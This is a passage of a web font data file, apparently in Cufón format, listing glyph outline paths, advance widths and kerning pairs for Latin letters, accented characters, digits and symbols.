-26,45,0v0,13,-10,23,-23,23v-13,0,-22,-10,-22,-23xm104,-237v0,-26,45,-27,45,0v0,13,-9,23,-22,23v-13,0,-23,-10,-23,-23","w":180,"k":{",":27,".":27}},{"d":"95,-240r0,24r-104,0r0,-24r104,0","w":86},{"d":"30,-255r37,52r-30,0r-54,-52r47,0","w":86},{"d":"13,0r0,-29r96,-114r-93,0r0,-28r133,0r0,29r-98,114r103,0r0,28r-141,0xm64,-203r-40,-52r31,0r29,35r26,-35r33,0r-40,52r-39,0","w":166},{"d":"0,0r113,-255r31,0r109,255r-40,0r-26,-63r-121,0r-25,63r-41,0xm78,-93r97,0r-49,-117xm90,-323v11,0,22,8,22,20v0,13,-9,23,-22,23v-13,0,-22,-10,-22,-23v0,-12,11,-20,22,-20xm141,-303v0,-26,45,-26,45,0v0,13,-10,23,-23,23v-13,0,-22,-10,-22,-23","w":253},{"d":"75,1r-71,-172r37,0r52,134r48,-134r35,0r-81,208v-11,40,-41,58,-87,45r4,-30v41,18,53,-22,63,-51","w":180,"k":{",":27,".":27}},{"d":"69,-10r-52,-77r52,-78r22,15r-42,63r43,63xm141,-10r-53,-77r52,-78r23,15r-42,63r42,63","w":180},{"d":"176,-171r0,171r-33,0r0,-26v-24,47,-119,41,-119,-35r0,-110r33,0v3,54,-17,145,39,145v27,0,47,-17,47,-57r0,-88r33,0xm86,-255r38,52r-30,0r-54,-52r46,0"},{"d":"176,-171r0,171r-33,0r0,-26v-24,47,-119,41,-119,-35r0,-110r33,0v3,54,-17,145,39,145v27,0,47,-17,47,-57r0,-88r33,0xm159,-203r-32,0r-27,-35r-27,35r-32,0r40,-52r38,0"},{"d":"24,-175r0,-28r192,79r0,30r-192,79r0,-29r162,-65","w":239},{"d":"97,0r0,-215r-47,43r-20,-24r71,-59r31,0r0,255r-35,0"},{"d":"198,-59r58,59r-46,0r-31,-34v-22,26,-45,40,-79,40v-58,0,-83,-36,-83,-73v0,-36,27,-58,58,-73v-16,-17,-30,-34,-30,-59v0,-39,32,-60,68,-60v36,0,66,18,66,57v0,32,-27,53,-53,66r50,52r32,-52r40,0xm144,-202v0,-17,-13,-27,-31,-27v-18,0,-33,11,-33,30v0,17,14,31,25,42v18,-10,39,-22,39,-45xm158,-56r-62,-64v-21,12,-42,26,-42,52v0,25,24,44,48,44v25,0,43,-16,56,-32","w":259},{"d":"24,0r0,-171r33,0v1,8,-2,21,1,27v23,-48,118,-42,118,34r0,110r-33,0v-3,-54,17,-145,-39,-145v-27,0,-47,17,-47,57r0,88r-33,0xm127,-209v-25,1,-60,-31,-70,2r-17,0v3,-19,15,-38,36,-38v24,0,57,33,67,-1r18,0v-3,18,-13,37,-34,37"},{"d":"0,0r113,-255r31,0r109,255r-40,0r-26,-63r-121,0r-25,63r-41,0xm78,-93r97,0r-49,-117xm186,-269r-33,0r-26,-35r-27,35r-33,0r41,-52r38,0","w":253},{"d":"186,-73r-137,0v0,51,80,66,104,24r25,18v-44,64,-164,35,-164,-54v0,-51,38,-90,89,-90v64,0,85,48,83,102xm49,-99r102,0v-1,-28,-16,-50,-49,-50v-32,0,-53,27,-53,50xm76,-203r38,-52r46,0r-54,52r-30,0"},{"d":"13,0r0,-29r96,-114r-93,0r0,-28r133,0r0,29r-98,114r103,0r0,28r-141,0","w":166},{"d":"0,0r113,-255r31,0r109,255r-40,0r-26,-63r-121,0r-25,63r-41,0xm78,-93r97,0r-49,-117xm90,-297v0,-20,18,-36,37,-36v20,0,36,16,36,36v0,20,-16,35,-36,35v-19,0,-37,-15,-37,-35xm148,-297v0,-12,-9,-21,-21,-21v-12,0,-22,9,-22,21v0,27,43,25,43,0","w":253},{"d":"33,0r0,-255r34,0r0,255r-34,0xm26,-269r38,-52r46,0r-54,52r-30,0","w":100},{"d":"176,-171r0,171r-33,0r0,-26v-24,47,-119,41,-119,-35r0,-110r33,0v3,54,-17,145,39,145v27,0,47,-17,47,-57r0,-88r33,0xm76,-203r38,-52r46,0r-54,52r-30,0"},{"d":"0,0r113,-255r31,0r109,255r-40,0r-26,-63r-121,0r-25,63r-41,0xm78,-93r97,0r-49,-117xm153,-275v-23,0,-59,-31,-69,1r-18,0v3,-19,16,-37,37,-37v24,-1,56,31,67,-1r17,0v-3,18,-13,37,-34,37","w":253},{"d":"26,56r0,-320r63,0r0,24r-33,0r0,272r33,0r0,24r-63,0","w":100},{"d":"33,0r0,-255r164,0r0,33r-130,0r0,75r121,0r0,33r-121,0r0,82r137,0r0,32r-171,0xm96,-321r38,52r-30,0r-54,-52r46,0","w":219},{"d":"186,-73r-137,0v0,51,80,66,104,24r25,18v-44,64,-164,35,-164,-54v0,-51,38,-90,89,-90v64,0,85,48,83,102xm49,-99r102,0v-1,-28,-16,-50,-49,-50v-32,0,-53,27,-53,50xm86,-255r38,52r-30,0r-54,-52r46,0"},{"d":"150,6v-78,0,-133,-57,-133,-133v0,-76,55,-134,133,-134v78,0,133,58,133,134v0,76,-55,133,-133,133xm150,-26v58,0,96,-45,96,-101v0,-56,-38,-102,-96,-102v-58,0,-96,46,-96,102v0,56,38,101,96,101xm91,-303v0,-26,44,-26,44,0v0,13,-9,23,-22,23v-13,0,-22,-10,-22,-23xm164,-303v0,-26,45,-26,45,0v0,13,-10,23,-23,23v-13,0,-22,-10,-22,-23","w":299},{"d":"28,-255r35,0r0,156v0,32,16,73,64,73v48,0,64,-41,64,-73r0,-156r34,0r0,162v0,59,-42,99,-98,99v-56,0,-99,-40,-99,-99r0,-162xm186,-269r-33,0r-26,-35r-27,35r-33,0r41,-52r38,0","w":253},{"d":"24,-151r192,0r0,28r-192,0r0,-28xm24,-95r192,0r0,28r-192,0r0,-28","w":239},{"d":"45,-130r-20,-20v37,-44,138,-27,139,32r2,118r-29,0v-2,-8,1,-19,-2,-26v-25,47,-119,39,-119,-21v-1,-52,58,-62,118,-59v11,-49,-70,-52,-89,-24xm134,-82v-37,-1,-84,1,-85,33v0,19,14,27,36,27v40,0,51,-28,49,-60xm153,-203r-33,0r-26,-35r-27,35r-33,0r41,-52r38,0","w":186},{"d":"33,0r0,-255r89,0v113,1,102,126,19,139r73,116r-43,0r-65,-112r-39,0r0,112r-34,0xm67,-225r0,82v47,-2,100,11,100,-41v0,-52,-53,-39,-100,-41","w":219,"k":{"T":6,"Y":6,"\u00dd":6,"\u0178":6}},{"d":"28,-255r35,0r0,156v0,32,16,73,64,73v48,0,64,-41,64,-73r0,-156r34,0r0,162v0,59,-42,99,-98,99v-56,0,-99,-40,-99,-99r0,-162xm90,-323v11,0,22,8,22,20v0,13,-9,23,-22,23v-13,0,-22,-10,-22,-23v0,-12,11,-20,22,-20xm141,-303v0,-26,45,-26,45,0v0,13,-10,23,-23,23v-13,0,-22,-10,-22,-23","w":253},{"d":"45,-130r-20,-20v37,-44,138,-27,139,32r2,118r-29,0v-2,-8,1,-19,-2,-26v-25,47,-119,39,-119,-21v-1,-52,58,-62,118,-59v11,-49,-70,-52,-89,-24xm134,-82v-37,-1,-84,1,-85,33v0,19,14,27,36,27v40,0,51,-28,49,-60xm70,-203r37,-52r46,0r-53,52r-30,0","w":186},{"d":"93,-52r0,-153v52,-1,113,-6,113,46v0,27,-16,39,-37,42r40,65r-30,0r-38,-62r-20,0r0,62r-28,0xm121,-181r0,43v25,-1,56,6,56,-22v0,-28,-31,-19,-56,-21xm10,-127v0,-74,60,-134,134,-134v74,0,134,60,134,134v0,74,-60,133,-134,133v-74,0,-134,-59,-134,-133xm34,-127v0,61,49,110,110,110v61,0,110,-49,110,-110v0,-61,-49,-111,-110,-111v-61,0,-110,50,-110,111","w":288},{"d":"33,0r0,-255r45,0r141,210r0,-210r35,0r0,255r-44,0r-143,-210r0,210r-34,0","w":286},{"d":"24,82r0,-354r33,0r1,126v43,-60,156,-18,146,61v8,78,-100,119,-147,61r0,106r-33,0xm113,-26v35,0,56,-24,56,-59v0,-35,-21,-60,-56,-60v-35,0,-56,25,-56,60v0,35,21,59,56,59","w":219},{"d":"24,-33r76,-76r-76,-76r20,-20r76,76r77,-76r19,20r-76,76r76,76r-20,20r-76,-76r-76,76","w":239},{"d":"64,-255r0,89r-28,0r0,-89r28,0","w":100},{"d":"17,0r0,-37r102,-101v35,-23,40,-94,-16,-93v-25,0,-42,15,-46,39r-38,-3v6,-89,166,-89,165,4v0,33,-22,58,-45,80r-84,81r129,0r0,30r-167,0"},{"d":"159,-143r91,0r0,126v-25,15,-66,23,-97,23v-86,0,-136,-61,-136,-133v0,-76,55,-134,133,-134v47,0,75,12,95,33r-25,26v-62,-61,-166,-12,-166,75v0,82,90,125,161,88r0,-71r-56,0r0,-33","w":280},{"d":"28,-255r35,0r0,156v0,32,16,73,64,73v48,0,64,-41,64,-73r0,-156r34,0r0,162v0,59,-42,99,-98,99v-56,0,-99,-40,-99,-99r0,-162","w":253},{"d":"108,-285r0,26v26,0,53,9,71,28r-26,25v-11,-14,-27,-23,-45,-23r0,85v42,12,78,25,78,74v0,44,-36,71,-78,74r0,26r-19,0r0,-26v-31,0,-61,-9,-80,-34r28,-25v11,18,32,28,52,29r0,-88v-39,-10,-74,-28,-74,-74v0,-41,35,-68,74,-71r0,-26r19,0xm89,-149r0,-80v-23,4,-39,18,-39,41v0,23,19,33,39,39xm108,-109r0,83v24,-3,43,-18,43,-42v0,-25,-21,-34,-43,-41"},{"d":"12,56r0,-24r32,0r0,-272r-32,0r0,-24r62,0r0,320r-62,0","w":100},{"d":"33,0r0,-255r160,0r0,33r-126,0r0,79r117,0r0,33r-117,0r0,110r-34,0","w":206,"k":{"A":20,"\u00c6":20,"\u00c1":20,"\u00c2":20,"\u00c4":20,"\u00c0":20,"\u00c5":20,"\u00c3":20,",":57,".":57}},{"d":"104,-104v15,68,-58,74,-58,122v0,22,17,38,38,38v23,0,39,-16,42,-40r37,3v-3,84,-151,92,-151,1v0,-60,67,-58,58,-124r34,0xm111,-153v0,13,-11,23,-24,23v-13,0,-23,-10,-23,-23v0,-13,10,-24,23,-24v13,0,24,11,24,24","w":180},{"d":"112,-84r0,-171r35,0r0,182v0,64,-47,79,-75,79v-36,0,-62,-18,-69,-55r34,-8v4,19,16,31,35,31v34,0,40,-29,40,-58","w":173},{"d":"76,-71v-15,-68,58,-74,58,-122v0,-22,-17,-38,-38,-38v-23,0,-39,16,-42,40r-37,-3v3,-84,151,-92,151,-1v0,60,-67,58,-58,124r-34,0xm69,-22v0,-13,11,-23,24,-23v13,0,23,10,23,23v0,13,-10,24,-23,24v-13,0,-24,-11,-24,-24","w":180},{"d":"33,0r0,-255r164,0r0,33r-130,0r0,75r121,0r0,33r-121,0r0,82r137,0r0,32r-171,0","w":219},{"d":"33,0r0,-255r34,0r0,106r132,0r0,-106r35,0r0,255r-35,0r0,-117r-132,0r0,117r-34,0","w":266},{"d":"150,6v-78,0,-133,-57,-133,-133v0,-76,55,-134,133,-134v78,0,133,58,133,134v0,76,-55,133,-133,133xm150,-26v58,0,96,-45,96,-101v0,-56,-38,-102,-96,-102v-58,0,-96,46,-96,102v0,56,38,101,96,101xm136,-321r38,52r-30,0r-54,-52r46,0","w":299},{"d":"186,-73r-137,0v0,51,80,66,104,24r25,18v-44,64,-164,35,-164,-54v0,-51,38,-90,89,-90v64,0,85,48,83,102xm49,-99r102,0v-1,-28,-16,-50,-49,-50v-32,0,-53,27,-53,50xm41,-237v0,-26,45,-26,45,0v0,13,-10,23,-23,23v-13,0,-22,-10,-22,-23xm114,-237v0,-26,45,-27,45,0v0,13,-9,23,-22,23v-13,0,-23,-10,-23,-23"},{"d":"27,0r0,-255r89,0v108,0,134,81,134,128v0,65,-49,127,-140,127r-83,0xm62,-222r0,190v83,7,149,-16,151,-95v0,-32,-17,-95,-100,-95r-51,0","w":266},{"d":"45,-130r-20,-20v37,-44,138,-27,139,32r2,118r-29,0v-2,-8,1,-19,-2,-26v-25,47,-119,39,-119,-21v-1,-52,58,-62,118,-59v11,-49,-70,-52,-89,-24xm134,-82v-37,-1,-84,1,-85,33v0,19,14,27,36,27v40,0,51,-28,49,-60","w":186},{"d":"30,0r0,-255r52,0r82,193r80,-193r52,0r0,255r-35,0r0,-210r-86,210r-23,0r-87,-210r0,210r-35,0","w":326},{"d":"0,0r113,-255r31,0r109,255r-40,0r-26,-63r-121,0r-25,63r-41,0xm78,-93r97,0r-49,-117","w":253},{"d":"9,-104r0,-27r65,-58v18,-9,24,-47,-7,-46v-14,0,-24,8,-25,21r-30,-2v0,-56,111,-59,108,0v-2,44,-52,62,-76,88r77,0r0,24r-112,0","w":129},{"d":"12,0r0,-32r145,-190r-141,0r0,-33r184,0r0,33r-145,190r147,0r0,32r-190,0","w":213},{"d":"51,-85v0,35,21,59,56,59v35,0,56,-24,56,-59v0,-35,-21,-60,-56,-60v-35,0,-56,25,-56,60xm16,-85v0,-50,40,-90,91,-90v51,0,91,40,91,90v0,50,-40,89,-91,89v-51,0,-91,-39,-91,-89","w":213},{"d":"77,-41r-30,89r-30,0r25,-89r35,0","w":100},{"d":"0,45r0,-18r180,0r0,18r-180,0","w":180},{"d":"-1,0r93,-134r-86,-121r44,0r67,98r65,-98r43,0r-85,121r94,134r-45,0r-73,-111r-74,111r-43,0","w":233},{"d":"33,0r0,-255r164,0r0,33r-130,0r0,75r121,0r0,33r-121,0r0,82r137,0r0,32r-171,0xm86,-269r38,-52r46,0r-54,52r-30,0","w":219},{"d":"12,-127v0,-56,16,-132,88,-132v72,0,88,76,88,132v0,54,-16,131,-88,131v-72,0,-88,-77,-88,-131xm47,-127v0,33,5,101,53,101v48,0,53,-68,53,-101v0,-35,-5,-102,-53,-102v-48,0,-53,67,-53,102"},{"d":"50,2v-13,0,-24,-11,-24,-24v0,-13,11,-23,24,-23v13,0,24,10,24,23v0,13,-11,24,-24,24","w":100},{"d":"24,0r0,-272r33,0r1,128v23,-48,118,-42,118,34r0,110r-33,0v-3,-54,17,-145,-39,-145v-27,0,-47,17,-47,57r0,88r-33,0"},{"d":"45,-130r-20,-20v37,-44,138,-27,139,32r2,118r-29,0v-2,-8,1,-19,-2,-26v-25,47,-119,39,-119,-21v-1,-52,58,-62,118,-59v11,-49,-70,-52,-89,-24xm134,-82v-37,-1,-84,1,-85,33v0,19,14,27,36,27v40,0,51,-28,49,-60xm57,-257v11,0,22,8,22,20v0,13,-9,23,-22,23v-13,0,-22,-10,-22,-23v0,-12,11,-20,22,-20xm108,-237v0,-26,45,-26,45,0v0,13,-10,23,-23,23v-13,0,-22,-10,-22,-23","w":186},{"d":"33,0r0,-255r89,0v65,0,82,39,82,71v0,32,-17,72,-82,72r-55,0r0,112r-34,0xm67,-225r0,82v47,-2,100,11,100,-41v0,-52,-53,-39,-100,-41","w":213,"k":{"A":27,"\u00c6":27,"\u00c1":27,"\u00c2":27,"\u00c4":27,"\u00c0":27,"\u00c5":27,"\u00c3":27,",":64,".":64}},{"d":"51,-85v0,35,21,59,56,59v35,0,56,-24,56,-59v0,-35,-21,-60,-56,-60v-35,0,-56,25,-56,60xm16,-85v0,-50,40,-90,91,-90v51,0,91,40,91,90v0,50,-40,89,-91,89v-51,0,-91,-39,-91,-89xm93,-255r38,52r-30,0r-54,-52r46,0","w":213},{"d":"51,-85v0,35,21,59,56,59v35,0,56,-24,56,-59v0,-35,-21,-60,-56,-60v-35,0,-56,25,-56,60xm16,-85v0,-50,40,-90,91,-90v51,0,91,40,91,90v0,50,-40,89,-91,89v-51,0,-91,-39,-91,-89xm48,-237v0,-26,45,-26,45,0v0,13,-10,23,-23,23v-13,0,-22,-10,-22,-23xm121,-237v0,-26,45,-27,45,0v0,13,-9,23,-22,23v-13,0,-23,-10,-23,-23","w":213},{"d":"12,0r0,-32r145,-190r-141,0r0,-33r184,0r0,33r-145,190r147,0r0,32r-190,0xm88,-269r-40,-52r31,0r28,34r27,-34r32,0r-40,52r-38,0","w":213},{"d":"33,0r0,-255r34,0r0,110r3,0r113,-110r48,0r-123,118r131,137r-50,0r-119,-127r-3,0r0,127r-34,0","w":233},{"d":"101,-102r0,30r-88,0r0,-30r88,0","w":113},{"d":"171,-148r-24,23v-32,-39,-103,-12,-96,41v-5,51,66,79,96,39r23,23v-16,18,-38,26,-62,26r-13,18v23,-1,44,4,44,26v0,40,-53,39,-83,26r7,-15v17,7,46,13,50,-9v0,-26,-34,-4,-41,-19r19,-28v-45,-5,-75,-40,-75,-88v0,-83,103,-119,155,-63","w":173},{"d":"176,-171r0,171r-33,0r0,-26v-24,47,-119,41,-119,-35r0,-110r33,0v3,54,-17,145,39,145v27,0,47,-17,47,-57r0,-88r33,0xm41,-237v0,-26,45,-26,45,0v0,13,-10,23,-23,23v-13,0,-22,-10,-22,-23xm114,-237v0,-26,45,-27,45,0v0,13,-9,23,-22,23v-13,0,-23,-10,-23,-23"},{"d":"30,56r-21,-14v61,-86,62,-206,0,-291r21,-15v69,90,71,227,0,320","w":100},{"d":"27,0r0,-171r32,0r0,171r-32,0xm30,-255r37,52r-30,0r-54,-52r47,0","w":86},{"d":"224,-194r-135,147v61,50,157,2,157,-80v0,-26,-8,-49,-22,-67xm75,-62r134,-147v-62,-50,-155,1,-155,82v0,25,8,47,21,65xm35,11r-15,-14r30,-33v-72,-80,-17,-225,100,-225v32,0,61,10,83,27r29,-32r16,13r-30,33v75,77,21,226,-98,226v-33,0,-62,-10,-84,-28","w":299},{"d":"152,-175v-34,0,-52,33,-52,68v0,18,7,29,25,29v29,0,50,-38,50,-65v0,-17,-8,-32,-23,-32xm221,-196r-32,109v0,6,4,9,11,9v20,0,44,-33,44,-71v0,-57,-43,-89,-94,-89v-62,0,-106,49,-106,111v0,103,135,146,191,73r29,0v-20,36,-67,60,-113,60v-76,0,-135,-59,-135,-134v0,-74,60,-133,133,-133v67,0,123,46,123,109v0,61,-50,102,-84,102v-14,0,-20,-12,-25,-23v-27,40,-94,22,-94,-34v0,-47,32,-96,81,-96v17,0,33,9,39,28r6,-21r26,0","w":288},{"d":"33,0r0,-255r34,0r0,52r55,0v65,0,82,40,82,72v0,32,-17,71,-82,71r-55,0r0,60r-34,0xm67,-172r0,82v47,-2,100,11,100,-41v0,-52,-53,-39,-100,-41","w":213},{"d":"35,0r103,-225r-123,0r0,-30r160,0r0,30r-101,225r-39,0"},{"d":"156,-144r0,26r-59,0r0,88r89,0r0,30r-160,0r0,-30r37,0r0,-88r-35,0r0,-26r35,0v-5,-66,11,-112,79,-115v23,0,44,6,61,22r-22,25v-33,-31,-84,-20,-84,41r0,27r59,0"},{"d":"100,4v-46,0,-83,-29,-83,-77v-1,-33,23,-53,49,-63v-19,-5,-40,-25,-40,-60v0,-39,34,-63,74,-63v40,0,75,24,75,63v1,36,-23,54,-40,61v28,8,48,30,48,62v0,48,-37,77,-83,77xm60,-191v0,20,14,41,40,41v27,0,40,-20,40,-41v0,-23,-16,-40,-40,-40v-22,0,-40,16,-40,40xm100,-26v29,0,49,-19,49,-47v0,-31,-22,-47,-49,-47v-28,0,-49,20,-49,47v0,30,23,47,49,47"},{"d":"93,0r0,-109r-97,-146r45,0r69,112r72,-112r42,0r-97,146r0,109r-34,0xm51,-303v0,-26,45,-26,45,0v0,13,-10,23,-23,23v-13,0,-22,-10,-22,-23xm125,-303v0,-26,44,-26,44,0v0,13,-9,23,-22,23v-13,0,-22,-10,-22,-23","w":220,"k":{"v":20,"A":27,"\u00c6":27,"\u00c1":27,"\u00c2":27,"\u00c4":27,"\u00c0":27,"\u00c5":27,"\u00c3":27,",":50,".":50,"e":40,"\u00e9":40,"\u00ea":40,"\u00eb":40,"\u00e8":40,"o":40,"\u00f8":40,"\u0153":40,"\u00f3":40,"\u00f4":40,"\u00f6":40,"\u00f2":40,"\u00f5":40,"q":33,"-":40,"a":33,"\u00e6":33,"\u00e1":33,"\u00e2":33,"\u00e4":33,"\u00e0":33,"\u00e5":33,"\u00e3":33,"u":27,"\u00fa":27,"\u00fb":27,"\u00fc":27,"\u00f9":27,":":33,";":33,"i":13,"\u0131":13,"\u00ed":13,"\u00ee":13,"\u00ef":13,"\u00ec":13,"p":27}},{"d":"121,0r0,-56r-109,0r0,-35r102,-164r42,0r0,169r36,0r0,30r-36,0r0,56r-35,0xm121,-86r-1,-128r-78,128r79,0"},{"d":"27,0r0,-171r32,0r0,171r-32,0xm103,-203r-33,0r-27,-35r-26,35r-33,0r40,-52r38,0","w":86},{"d":"62,-49r82,-83v-35,-30,-93,-5,-93,47v0,14,4,26,11,36xm28,12r-13,-13r24,-25v-51,-52,-9,-149,68,-149v23,0,43,8,58,21r27,-27r13,13r-27,27v47,55,4,145,-71,145v-20,0,-39,-6,-54,-17xm155,-117r-80,81v49,35,113,-24,80,-81","w":213},{"d":"296,-30r0,30r-147,0v-72,0,-132,-54,-132,-130v0,-75,57,-131,132,-131v72,0,130,54,130,127v1,44,-23,85,-59,104r76,0xm148,-32v56,0,94,-44,94,-100v0,-54,-40,-97,-94,-97v-53,0,-94,43,-94,96v0,56,39,101,94,101","w":299},{"d":"33,80r0,-182r35,0r0,182r-35,0xm74,-153v0,13,-11,23,-24,23v-13,0,-24,-10,-24,-23v0,-13,11,-24,24,-24v13,0,24,11,24,24","w":100},{"d":"176,-171r0,171r-33,0r0,-26v-24,47,-119,41,-119,-35r0,-110r33,0v3,54,-17,145,39,145v27,0,47,-17,47,-57r0,-88r33,0"},{"d":"50,-125v-13,0,-24,-11,-24,-24v0,-13,11,-24,24,-24v13,0,24,11,24,24v0,13,-11,24,-24,24xm26,-22v0,-13,11,-23,24,-23v13,0,24,10,24,23v0,13,-11,24,-24,24v-13,0,-24,-11,-24,-24","w":100},{"d":"27,0r0,-171r32,0r0,171r-32,0xm19,-232v0,-13,11,-24,24,-24v13,0,24,11,24,24v0,13,-11,24,-24,24v-13,0,-24,-11,-24,-24","w":86},{"d":"24,0r0,-171r31,0r0,27v3,-10,24,-31,55,-31v25,0,42,11,53,32v11,-21,33,-32,54,-32v90,3,59,96,65,175r-32,0v-7,-55,24,-145,-37,-145v-63,0,-38,87,-43,145r-33,0v-6,-54,21,-145,-36,-145v-23,0,-44,17,-44,56r0,89r-33,0","w":306},{"d":"101,-102r0,30r-88,0r0,-30r88,0","w":113},{"d":"94,45r0,-159v-44,0,-76,-30,-76,-67v0,-47,31,-74,82,-74r90,0r0,300r-28,0r0,-276r-40,0r0,276r-28,0","w":216},{"d":"51,-85v0,35,21,59,56,59v35,0,56,-24,56,-59v0,-35,-21,-60,-56,-60v-35,0,-56,25,-56,60xm16,-85v0,-50,40,-90,91,-90v51,0,91,40,91,90v0,50,-40,89,-91,89v-51,0,-91,-39,-91,-89xm83,-203r38,-52r46,0r-54,52r-30,0","w":213},{"d":"93,0r0,-109r-97,-146r45,0r69,112r72,-112r42,0r-97,146r0,109r-34,0","w":220,"k":{"\u00fc":27,"\u00f6":40,"v":20,"A":27,"\u00c6":27,"\u00c1":27,"\u00c2":27,"\u00c4":27,"\u00c0":27,"\u00c5":27,"\u00c3":27,",":50,".":50,"e":40,"\u00e9":40,"\u00ea":40,"\u00eb":40,"\u00e8":40,"o":40,"\u00f8":40,"\u0153":40,"\u00f3":40,"\u00f4":40,"\u00f2":40,"\u00f5":40,"q":33,"-":40,"a":33,"\u00e6":33,"\u00e1":33,"\u00e2":33,"\u00e4":33,"\u00e0":33,"\u00e5":33,"\u00e3":33,"u":27,"\u00fa":27,"\u00fb":27,"\u00f9":27,":":33,";":33,"i":13,"\u0131":13,"\u00ed":13,"\u00ee":13,"\u00ef":13,"\u00ec":13,"p":27}},{"d":"10,56r0,-26v47,10,35,-45,35,-85v0,-34,23,-44,30,-49v-8,-1,-30,-12,-30,-49v0,-36,17,-93,-35,-85r0,-26v61,-15,65,41,65,104v0,26,14,42,30,42r0,28v-34,-1,-30,59,-30,99v0,43,-26,50,-65,47","w":119},{"d":"69,-259v36,0,60,21,60,54v0,33,-24,54,-60,54v-36,0,-59,-21,-59,-54v0,-33,23,-54,59,-54xm69,-238v-21,0,-33,13,-33,33v0,20,12,33,33,33v21,0,34,-13,34,-33v0,-20,-13,-33,-34,-33","w":138},{"d":"213,-175v72,0,82,56,80,102r-127,0v-7,51,77,69,95,24r27,20v-32,43,-107,51,-138,1v-16,22,-38,34,-70,34v-46,0,-66,-28,-66,-55v0,-58,65,-50,121,-50v8,-53,-61,-63,-91,-31r-20,-20v35,-30,100,-38,129,2v11,-13,29,-27,60,-27xm135,-73v-32,2,-86,-9,-86,24v0,17,16,30,35,30v29,0,53,-19,51,-54xm166,-99r92,0v-1,-26,-12,-48,-45,-48v-30,0,-47,22,-47,48","w":306},{"d":"242,0r0,-34r-70,0r0,-21r66,-100r28,0r0,97r22,0r0,24r-22,0r0,34r-24,0xm240,-58v-1,-22,2,-47,-1,-67r-41,67r42,0xm55,0r158,-266r21,11r-158,267xm58,-104r0,-129r-31,26r-15,-17r46,-35r26,0r0,155r-26,0","w":300},{"d":"195,-272r0,272r-32,0v-1,-7,2,-18,-1,-24v-45,59,-155,16,-146,-61v-8,-79,102,-120,147,-61r0,-126r32,0xm107,-26v35,0,56,-24,56,-59v0,-35,-21,-60,-56,-60v-35,0,-56,25,-56,60v0,35,21,59,56,59","w":219},{"d":"60,0r-56,-171r36,0r40,128r40,-128r34,0r44,128r37,-128r34,0r-55,171r-33,0r-45,-127r-41,127r-35,0","w":273,"k":{",":20,".":20}},{"d":"186,-73r-137,0v0,51,80,66,104,24r25,18v-44,64,-164,35,-164,-54v0,-51,38,-90,89,-90v64,0,85,48,83,102xm49,-99r102,0v-1,-28,-16,-50,-49,-50v-32,0,-53,27,-53,50"},{"d":"51,-85v0,35,21,59,56,59v35,0,56,-24,56,-59v0,-35,-21,-60,-56,-60v-35,0,-56,25,-56,60xm16,-85v0,-50,40,-90,91,-90v51,0,91,40,91,90v0,50,-40,89,-91,89v-51,0,-91,-39,-91,-89xm134,-209v-25,0,-59,-31,-70,2r-18,0v3,-19,16,-38,37,-38v24,-1,56,33,67,-1r17,0v-3,18,-12,37,-33,37","w":213},{"w":100},{"d":"24,-123r192,0r0,28r-192,0r0,-28xm96,-169v0,-13,11,-24,24,-24v13,0,24,11,24,24v0,13,-11,24,-24,24v-13,0,-24,-11,-24,-24xm96,-48v0,-13,11,-24,24,-24v13,0,24,11,24,24v0,13,-11,24,-24,24v-13,0,-24,-11,-24,-24","w":239},{"d":"140,-147r-25,19v-10,-19,-63,-26,-63,2v0,21,29,24,43,27v28,7,50,18,50,50v0,66,-105,69,-135,23r25,-20v12,22,76,31,76,-2v0,-19,-28,-23,-42,-26v-28,-7,-52,-15,-52,-48v1,-61,96,-70,123,-25","w":159},{"d":"33,0r10,-73r-34,0r0,-29r38,0r7,-51r-34,0r0,-28r38,0r10,-74r29,0r-10,74r42,0r10,-74r28,0r-10,74r34,0r0,28r-38,0r-7,51r34,0r0,29r-38,0r-10,73r-29,0r10,-73r-41,0r-10,73r-29,0xm125,-153r-42,0r-7,51r41,0"},{"d":"85,0r0,-67r-62,0r0,-24r62,0v1,-12,0,-23,-6,-29r-56,0r0,-24r41,0r-66,-111r36,0r65,114r66,-114r37,0r-67,111r42,0r0,24r-56,0v-6,6,-7,16,-6,29r62,0r0,24r-62,0r0,67r-30,0"},{"d":"2,0r69,-91r-60,-80r42,0r41,61r41,-61r39,0r-58,80r69,91r-42,0r-50,-72r-51,72r-40,0","w":186},{"d":"82,-136v41,1,85,57,109,0r14,22v-30,61,-81,15,-126,6v-15,0,-24,14,-30,26r-14,-22v11,-19,24,-32,47,-32","w":239},{"d":"33,0r0,-255r34,0r0,255r-34,0xm109,-269r-32,0r-27,-35r-27,35r-32,0r40,-52r38,0","w":100},{"d":"24,0r0,-183v0,-51,14,-93,81,-93v40,0,74,23,74,65v1,31,-18,47,-40,56v28,4,61,27,61,76v0,60,-52,94,-113,80r0,-29v43,9,79,-11,78,-54v0,-40,-28,-57,-67,-56r0,-30v28,1,46,-13,46,-39v0,-29,-21,-39,-40,-39v-36,0,-47,25,-47,59r0,187r-33,0","w":219},{"d":"24,0r0,-171r33,0v1,8,-2,21,1,27v23,-48,118,-42,118,34r0,110r-33,0v-3,-54,17,-145,-39,-145v-27,0,-47,17,-47,57r0,88r-33,0"},{"d":"26,-270r28,0r0,360r-28,0r0,-360","w":79},{"d":"216,-44r0,29r-192,-79r0,-30r192,-79r0,28r-163,66","w":239},{"d":"216,-151r0,100r-28,0r0,-72r-164,0r0,-28r192,0","w":239},{"d":"37,0r0,-143r-37,0r0,-28r37,0v-6,-69,10,-120,83,-103r-4,29v-28,-10,-46,3,-46,35r0,39r38,0r0,28r-39,0r0,143r-32,0","w":119,"k":{"f":6,"\u00df":6}},{"d":"33,0r0,-255r34,0r0,223r117,0r0,32r-151,0","w":186,"k":{"T":33,"V":33,"W":20,"y":13,"\u00fd":13,"\u00ff":13,"Y":40,"\u00dd":40,"\u0178":40}},{"d":"24,0r0,-272r33,0r1,126v43,-60,156,-18,146,61v8,78,-100,119,-147,61r0,24r-33,0xm113,-26v35,0,56,-24,56,-59v0,-35,-21,-60,-56,-60v-35,0,-56,25,-56,60v0,35,21,59,56,59","w":219},{"d":"50,-172r0,-23v19,0,39,-1,39,-21v1,-25,-43,-24,-48,-3r-30,-7v11,-47,105,-44,106,7v0,17,-11,31,-28,35v21,3,32,18,32,37v1,57,-101,60,-112,9r30,-7v4,26,55,25,54,-4v-1,-22,-22,-23,-43,-23","w":129},{"d":"57,0r63,-99v-51,19,-107,-8,-107,-75v0,-56,39,-85,87,-85v48,0,88,32,88,82v0,31,-11,51,-26,75r-64,102r-41,0xm153,-176v0,-31,-21,-53,-53,-53v-32,0,-53,22,-53,53v0,31,21,53,53,53v32,0,53,-22,53,-53"},{"d":"33,0r0,-255r34,0r0,255r-34,0","w":100},{"d":"24,0r0,-171r33,0v1,8,-2